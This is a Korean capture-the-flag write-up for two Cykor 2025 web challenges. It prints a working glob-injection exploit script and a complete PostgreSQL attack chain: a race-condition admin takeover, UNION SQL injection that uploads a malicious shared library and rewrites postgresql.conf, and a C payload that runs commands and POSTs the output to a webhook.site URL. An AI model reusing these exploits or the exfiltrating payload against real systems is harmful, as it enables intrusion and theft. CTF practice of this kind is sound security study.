Cykor 2025 Web 문제 풀이 입니다. Fermion 팀으로 참가하여 8th를 했습니다.
Cykor 2025 CTF
Cykor CTF 는 고려대학교에서 개최한 CTF입니다.
Fermion 팀으로 참여 했고, 저는 쉬운 웹 2문제를 풀었습니다.
다음에는 더 어려운 문제를 풀 수 있게 많은 노력을 해야겠습니다…
asterisk
문제 환경
- Node.js 기반의 웹 서비스
- 사용자별 코드 저장 및 실행 기능 제공 (
/signup,/login,/save,/submit등 API) - 각 사용자는 /app/server/users/{username}에 자신의 코드 파일을 가짐
- 플래그는 /flag 파일에 존재
Exploit
문제 분석을 하면 Command Execution 이 되는 것을 알 수 있습니다.
- 임의 사용자
"p"로 회원가입/로그인 후,/flag파일을 읽는 Node.js 코드를 저장 "node"사용자로 로그인 후, 취약한 입력값("\n*")을 이용해 서버가"p"사용자의 코드를 실행하도록 트리거- 서버가
/flag파일을 읽어 stdout으로 반환, 플래그 획득
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests
BASE_URL = "http://54.180.15.185:8080/play/TscdeEUNLqqt24jNk7QmX_AEmD7nx2T3"
PW = "pw12"
s = requests.Session()
def login(u):
s.post(f"{BASE_URL}/signup", json={"username": u, "password": PW})
r = s.post(f"{BASE_URL}/login", json={"username": u, "password": PW})
r.raise_for_status()
# 1) node 파일 생성 (글롭 첫 토큰 보장)
login("node")
s.post(f"{BASE_URL}/save", json={"code": "// placeholder"}) # /app/server/users/node 생성
s.post(f"{BASE_URL}/logout")
# 2) p에 플래그 리더 저장 후 내용 확인
login("p")
flag_reader = "const fs=require('fs');process.stdout.write(fs.readFileSync('/flag','utf8'));"
s.post(f"{BASE_URL}/save", json={"code": flag_reader}).raise_for_status()
print("p code:", s.get(f"{BASE_URL}/mycode").text) # 저장된 내용 확인용
s.post(f"{BASE_URL}/logout")
# 3) 취약점 트리거
login("node")
resp = s.post(f"{BASE_URL}/submit", json={"code": "input X\nprint X", "input": "\n*"})
print("submit resp:", resp.text)
print("stdout:", resp.json().get("stdout"))
dbchat
문제 환경
- PostgreSQL 기반의 챗봇 서비스.
- 사용자는 회원가입/로그인 후 챗봇과 대화할 수 있음
- 관리자 권한을 획득하여 서버에서 임의 코드를 실행해 플래그를 획득하는 것이 목표.
- flag는 /app/flag 에 있으며 실행 권한만 존재
- Node.js 기반의 웹 서비스
- 사용자별 코드 저장 및 실행 기능 제공 (
/signup,/login,/save,/submit등 API) - 각 사용자는 /app/server/users/{username}에 자신의 코드 파일을 가짐
- 플래그는 /flag 파일에 존재
Exploit
Race Condition 과 SQL Injection으로 RCE를 하는 문제입니다.
[RaceCondition]
- 회원 가입 시 아래 코드에서
race condition으로 admin 권한을 가진 계정을 생성할 수 있음 get_username_rank(username)함수는 현재 가입된 사용자 수를 기반으로 새 사용자의 순서를 결정하는데 동시에 회원가입을 시도할 경우ROLE리스트에 첫번째 삽입이 일어나는 경우 admin 필터 로직을 통과하여 admin 권한을 얻을 수 있음
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
rank = get_username_rank(username)
ROLE.insert(rank, role)
MSG.insert(rank, msg)
---중략----
def get_username_rank(username):
username = str(username)
files = [f for f in os.listdir(USERS_DIR) if f.endswith('.json')]
files.sort()
my_file = f"{username}.json"
if my_file not in files:
return None
rank = files.index(my_file)
return rank
[SQL Injection]
/admin/chat 엔드포인트에서 prompt 인자가 그대로 postgres에 전달되어 SQL Injection이 가능합니다.
1
sql = f"SELECT {field} FROM people WHERE name='{name}';"
- 다만 필터가 있어
what is name of x이런식으로 하나의 필터를 통과과 되지만;이 필터 때문에 다중쿼리를 실행할 수 가 없음- 그래서 일반적으로 COPY PROGRAM 으로 명령을 실행하는 쿼리를 쓸수가 없음
1
2
3
4
5
6
7
8
9
ALLOWED_FIELDS = {'name', 'age', 'location', 'birthday'}
_pattern = re.compile(
r"^\s*"
r"what\s+is\s+"
r"(?P<field>\w+)\s+of\s+"
r"(?P<name>[^;]+?)"
r"\s*\?*\s*$",
re.IGNORECASE
)
kewool 님의 힌트로 악성 so 라이브러리를 업로드해서 RCE하는 기법을 들었고, Select only RCE 라는 블로그를 찾았습니다.
PostgreSQL SQL injection: SELECT only RCE
해당 기법을 이용하여 웹훅으로 플래그를 보내는 so를 만들고, 익스해서 FLAG를 얻을 수 있었습니다.
Thanks Kewool
payload.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include "postgres.h"
#include "fmgr.h"
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
void _init() {
system("/app/flag > /tmp/flagout.txt 2>&1");
system("(python3 -c 'import urllib.request; urllib.request.urlopen(urllib.request.Request(\"https://webhook.site/fd6b892e-c2ea-440f-ba80-d7abb898d033\", data=open(\"/tmp/flagout.txt\",\"rb\").read(), method=\"POST\"))' &) 2>/dev/null");
}
exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
import base64, os, sys, threading, time, requests
BASE_URL = "http://localhost:5000"
CONFIG_PATH = "/etc/postgresql/17/main/postgresql.conf"
PAYLOAD_SO = "/tmp/payload.so"
def sqli(sess, q): return sess.post(f"{BASE_URL}/admin/chat", json={"question": q}, timeout=20).json().get("answer")
def get_admin():
users = [f"a{i:03d}" for i in range(1, 101)]
threads = [threading.Thread(target=lambda u: requests.post(f"{BASE_URL}/register", json={"username": u, "password": "test", "confirm_password": "test", "role": "user"}, timeout=10), args=(u,)) for u in users]
[t.start() for t in threads]; [t.join() for t in threads]
for u in users:
s = requests.Session()
if s.post(f"{BASE_URL}/login", json={"username": u, "password": "test"}, timeout=5).status_code != 200: continue
if s.get(f"{BASE_URL}/admin", timeout=5).status_code == 200: return s
return None
def upload_so(sess, so_bytes):
b64 = base64.b64encode(so_bytes).decode()
chunks = [b64[i:i+2048] for i in range(0, len(b64), 2048)]
first = base64.b64decode(chunks[0]).hex()
oid = sqli(sess, f"what is name of x' UNION SELECT lo_from_bytea(0, decode('{first}', 'hex'))::text --").strip()
offset = len(base64.b64decode(chunks[0]))
for c in chunks[1:]:
data = base64.b64decode(c); hex_chunk = data.hex()
sqli(sess, f"what is name of x' UNION SELECT lo_put({oid}, {offset}, decode('{hex_chunk}', 'hex'))::text --")
offset += len(data)
sqli(sess, f"what is name of x' UNION SELECT lo_export({oid}, '{PAYLOAD_SO}')::text --")
def patch_conf(sess):
conf = sqli(sess, f"what is name of x' UNION SELECT pg_read_file('{CONFIG_PATH}', 0, 200000)::text --")
adds = ["session_preload_libraries='payload'", "dynamic_library_path='/tmp:$libdir'"]
lines = conf.splitlines()
for a in adds:
if a not in lines: lines.append(a)
new_conf_b64 = base64.b64encode(("\n".join(lines) + "\n").encode()).decode()
new_oid = sqli(sess, f"what is name of x' UNION SELECT lo_from_bytea(0, decode('{new_conf_b64}', 'base64'))::text --").strip()
sqli(sess, f"what is name of x' UNION SELECT lo_export({new_oid}, '{CONFIG_PATH}')::text --")
sqli(sess, "what is name of x' UNION SELECT pg_reload_conf()::text --")
def main():
print("[+] Grabbing admin via race...")
admin = get_admin()
if not admin: return print("[-] admin not found"); print("[+] Admin ok")
so_path = os.path.join(os.path.dirname(os.path.abspath(__file__)), "udf.so")
if not os.path.exists(so_path): return print(f"[-] missing {so_path}")
print("[+] Uploading payload.so...")
upload_so(admin, open(so_path, "rb").read())
print("[+] Patching postgresql.conf...")
patch_conf(admin)
print("[+] Triggering load and reading flag...")
sqli(admin, "what is name of x' UNION SELECT version()::text --")
time.sleep(1)
flag = sqli(admin, "what is name of x' UNION SELECT pg_read_file('/tmp/flagout.txt', 0, 10000) --")
print(flag)
if __name__ == "__main__":
main()
Conclusion
처음으로 강남역 플라즈마 공간에서 CTF 문제를 풀었는데, 아늑한 공간이여서 좋았습니다.
Fermion은 ION 커뮤니티의 CTF 팀이고, 사단법인 프로젝트 플라즈마에서 만들어졌습니다.
Project Plasma
앞으로도 시간이 남을때마다 자주 참여해서 보안을 잘하고 싶네요.
